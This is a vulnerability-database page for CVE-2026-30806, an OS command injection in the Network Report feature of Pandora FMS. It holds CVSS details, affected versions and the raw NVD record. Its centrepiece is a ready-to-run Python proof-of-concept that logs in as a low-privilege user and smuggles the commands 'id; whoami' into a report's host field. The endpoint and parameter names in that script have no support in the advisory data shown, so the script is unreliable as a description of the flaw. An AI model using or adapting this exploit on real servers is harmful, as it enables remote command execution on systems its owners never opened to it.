Security Vulnerability Report
中文
CVE-2026-30806 CVSS 8.8 HIGH

CVE-2026-30806

Published: 2026-04-13 16:16:26
Last Modified: 2026-04-22 14:35:08

Description

Improper Neutralization of Special Elements used in an OS Command vulnerability allows OS Command Injection via Network Report. This issue affects Pandora FMS: from 777 through 800

CVSS Details

CVSS Score
8.8
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

cpe:2.3:a:artica:pandora_fms:*:*:*:*:*:*:*:* - VULNERABLE
Pandora FMS 777
Pandora FMS 778
Pandora FMS 779
Pandora FMS 800

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import requests # Target configuration target_url = "http://target-ip/pandora_console/index.php" username = "low_priv_user" password = "password" # Create a session to handle cookies session = requests.Session() # 1. Authenticate with low privileges (PR:L) login_payload = { "nick": username, "pass": password, "login_button": "Login" } print("[+] Attempting login...") login_response = session.post(target_url + "?page=login&login=1", data=login_payload) if login_response.status_code == 200: print("[+] Login successful.") # 2. Prepare the malicious payload for OS Command Injection via Network Report # The payload attempts to execute 'id' and 'whoami' commands injection_payload = "127.0.0.1; id; whoami" # 3. Send request to the vulnerable endpoint (Network Report feature) exploit_data = { "action": "generate_report", "type": "network", "target_host": injection_payload # Vulnerable parameter } print("[+] Sending exploit payload...") exploit_response = session.post(target_url + "?page=reporting&sec2=operation/reporting/network", data=exploit_data) # 4. Check output if "uid=" in exploit_response.text: print("[!] Exploit successful! Command injection detected.") print("Response snippet:", exploit_response.text[:500]) else: print("[-] Exploit failed or output not visible in response.") else: print("[-] Login failed.")

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-30806", "sourceIdentifier": "[email protected]", "published": "2026-04-13T16:16:25.680", "lastModified": "2026-04-22T14:35:07.933", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Improper Neutralization of Special Elements used in an OS Command vulnerability allows OS Command Injection via Network Report. This issue affects Pandora FMS: from 777 through 800"}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:L/SC:L/SI:L/SA:L/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:N/AU:Y/R:U/V:C/RE:M/U:Amber", "baseScore": 8.7, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "LOW", "userInteraction": "NONE", "vulnConfidentialityImpact": "HIGH", "vulnIntegrityImpact": "HIGH", "vulnAvailabilityImpact": "LOW", "subConfidentialityImpact": "LOW", "subIntegrityImpact": "LOW", "subAvailabilityImpact": "LOW", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NEGLIGIBLE", "Automatable": "YES", "Recovery": "USER", "valueDensity": "CONCENTRATED", "vulnerabilityResponseEffort": "MODERATE", "providerUrgency": "AMBER"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "baseScore": 8.8, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.8, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-78"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:artica:pandora_fms:*:*:*:*:*:*:*:*", "versionStartIncluding": "777", "versionEndExcluding": "800.1", "matchCriteriaId": "DE3FD946-C9BB-47A3-9AE7-F958869B9278"}]}]}], "references": [{"url": "https://pandorafms.com/en/security/common-vulnerabilities-and-exposures/", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}